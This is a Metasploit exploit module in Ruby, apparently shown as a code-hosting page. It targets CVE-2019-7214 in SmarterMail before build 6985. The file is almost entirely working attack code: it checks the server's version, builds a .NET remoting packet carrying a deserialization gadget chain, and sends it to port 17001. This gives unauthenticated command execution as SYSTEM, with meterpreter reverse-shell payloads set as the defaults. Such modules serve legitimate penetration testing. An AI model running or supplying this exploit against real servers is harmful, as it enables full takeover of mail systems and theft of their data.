208 lines
7.5 KiB
Ruby
208 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the SmarterTools SmarterMail
|
|
software for version numbers <= 16.x or for build numbers < 6985.
|
|
The vulnerable versions and builds expose three .NET remoting endpoints
|
|
on port 17001, namely /Servers, /Mail and /Spool. For example, a
|
|
typical installation of SmarterMail Build 6970 will have the /Servers
|
|
endpoint exposed to the public at tcp://0.0.0.0:17001/Servers, where
|
|
serialized .NET commands can be sent through a TCP socket connection.
|
|
|
|
The three endpoints perform deserialization of untrusted data
|
|
(CVE-2019-7214), allowing an attacker to send arbitrary commands
|
|
to be deserialized and executed. This module exploits this vulnerability
|
|
to perform .NET deserialization attacks, allowing remote code execution
|
|
for any unauthenticated user under the context of the SYSTEM account.
|
|
Successful exploitation results in full administrative control of the
|
|
target server under the NT AUTHORITY\SYSTEM account.
|
|
|
|
This vulnerability was patched in Build 6985, where the 17001 port is
|
|
no longer publicly accessible, although it can be accessible locally
|
|
at 127.0.0.1:17001. Hence, this would still allow for a privilege
|
|
escalation vector if the server is compromised as a low-privileged user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Soroush Dalili', # Original discovery and PoC
|
|
'1F98D', # ExploitDB author
|
|
'Ismail E. Dawoodjee' # Metasploit module author
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2019-7214' ],
|
|
[ 'EDB', '49216' ],
|
|
[ 'URL', 'https://research.nccgroup.com/2019/04/16/technical-advisory-multiple-vulnerabilities-in-smartermail/' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Targets' => [
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Type' => :win_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'x86/x64 Windows CmdStager',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :windows_cmdstager,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
|
|
'CmdStagerFlavor' => 'vbs'
|
|
},
|
|
'CmdStagerFlavor' => %w[vbs certutil]
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2019-04-17',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9998, true, 'SmarterMail default HTTP port'),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptInt.new('TCP_PORT', [true, 'SmarterMail default .NET remoting port', 17001]),
|
|
OptString.new(
|
|
'ENDPOINT', [
|
|
true,
|
|
'Choose one of three exposed endpoints: Servers, Spool, and Mail. Example - tcp://127.0.0.1:17001/Servers',
|
|
'Servers'
|
|
]
|
|
)
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
print_status('Checking target web server for a response...')
|
|
res = send_request_cgi!({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
if res
|
|
body = res.body
|
|
else
|
|
return CheckCode::Unknown('Target did not respond to check request.')
|
|
end
|
|
|
|
unless res.code == 200 && body.downcase.include?('smartermail')
|
|
return CheckCode::Unknown('Target is not running SmarterMail.')
|
|
end
|
|
|
|
print_good('Target is running SmarterMail.')
|
|
|
|
print_status('Checking SmarterMail product build...')
|
|
product_build = body.match('stProductBuild.*\s\(')
|
|
build_number = product_build.to_s.scan(/\d+/)[0] if product_build
|
|
|
|
if product_build
|
|
print_good("Target is running SmarterMail Build #{build_number}.")
|
|
else
|
|
print_warning('Product build not found. 16.x versions and below do not have a build number.')
|
|
end
|
|
|
|
if product_build && Rex::Version.new(build_number) < Rex::Version.new('6985')
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
print_status('Checking SmarterMail product version...')
|
|
product_version = body.match('stProductVersion.*')
|
|
version_number = product_version.to_s.split('"')[1] if product_version
|
|
|
|
unless product_version
|
|
return CheckCode::Detected('SmarterMail product version cannot be determined.')
|
|
end
|
|
|
|
print_good("Target is running SmarterMail Version #{version_number}.")
|
|
|
|
if Rex::Version.new(version_number) <= Rex::Version.new('16.3.6989.16341')
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
uri = "tcp://#{datastore['RHOST']}:#{datastore['TCP_PORT']}/#{datastore['ENDPOINT']}"
|
|
|
|
serialized = ::Msf::Util::DotNetDeserialization.generate(
|
|
cmd,
|
|
gadget_chain: :TypeConfuseDelegate,
|
|
formatter: :BinaryFormatter
|
|
)
|
|
|
|
preamble = '.NET'.unpack('C*') # Header
|
|
preamble += [0x01] # Version Major
|
|
preamble += [0x00] # Version Minor
|
|
preamble += [0x00, 0x00] # Operation Type
|
|
preamble += [0x00, 0x00] # Content Distribution
|
|
preamble += [serialized.length].pack('I').unpack('C*') # Serialized Data Length
|
|
preamble += [0x04, 0x00] # URI Header
|
|
preamble += [0x01] # Data Type
|
|
preamble += [0x01] # Encoding - UTF8
|
|
preamble += [uri.length].pack('I').unpack('C*') # URI Length
|
|
preamble += uri.unpack('C*') # URI
|
|
preamble += [0x00, 0x00] # Terminating Header
|
|
data = preamble + serialized.unpack('C*') # Data to Send
|
|
final_payload = data.pack('C*')
|
|
|
|
begin
|
|
sock = Rex::Socket::Tcp.create(
|
|
'PeerHost' => datastore['RHOST'],
|
|
'PeerPort' => datastore['TCP_PORT'],
|
|
'Proxies' => datastore['Proxies'],
|
|
'Context' => {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
)
|
|
sock.write(final_payload)
|
|
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
elog(e)
|
|
ensure
|
|
sock.close if sock
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
case target['Type']
|
|
when :win_cmd
|
|
execute_command(payload.encoded)
|
|
when :windows_cmdstager
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
end
|